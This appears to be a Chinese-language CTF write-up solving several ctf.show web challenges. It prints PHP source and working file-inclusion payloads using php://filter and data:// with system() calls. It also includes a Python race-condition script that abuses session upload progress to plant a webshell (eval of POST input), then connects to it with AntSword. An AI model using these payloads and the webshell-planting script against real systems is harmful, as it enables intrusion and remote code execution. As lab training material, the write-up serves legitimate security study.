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登陆界面，初步判断为sql注入题
burp抓包，p为空级可得到flag
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提示后台，访问admin

http://92c549d4-3b82-4936-900e-766f04e52774.chall.ctf.show/admin

即可拿到flag
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访问burp抓包即可得到flag
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提示file参数，同时参数要含有test
使用伪协议读取index.php源码
代码会自动补充.php

?file=php://filter/read=convert.base64-encode/resource=test/../index.

得到源码

<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
 include ($file);
}else{
 echo '$file must has test';
}
?>

payload

?file=data:text/plain,<?php system('ls /');?>test
?file=data:text/plain,<?php system('cat /FFFFFFFL@GGGG');?>test

easyshell

查看网页源码提示 <!--md5($secret.$name)===$pass -->

?name=admin
&pass=1



尝试将cookie的hash填入pass

?name=admin
&pass=de73312423b835b22bfdc3c6da7b63e9

burp抓包



发现flflflflag.php文件
直接浏览器访问会跳转，burp抓包

利用伪协议读取flflflflag.php源码

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>yesec want Girl friend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
 die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

同样方法得到index.php源码



<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
 echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
 </script>
';
}else{
 setcookie("Hash",md5($secret.$name),time()+3600000);
 echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

屏蔽data、input、zip，考虑用session上传文件包含

import io
import sys
import requests
import threading

host = 'http://5d6bb0b0-e82d-4a68-b50b-8fd858a7c6ea.chall.ctf.show/flflflflag.php'
sessid = 'vrhtvjd4j1sd88onr92fm9t2sj'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval
($_POST[cmd])?>');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
        # if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

成功写入木马



http://5d6bb0b0-e82d-4a68-b50b-8fd858a7c6ea.chall.ctf.show/shell.php

antsword连接，发现没法读取，通过phpinfo有disable_functions

搜索phpinfo，发现flag
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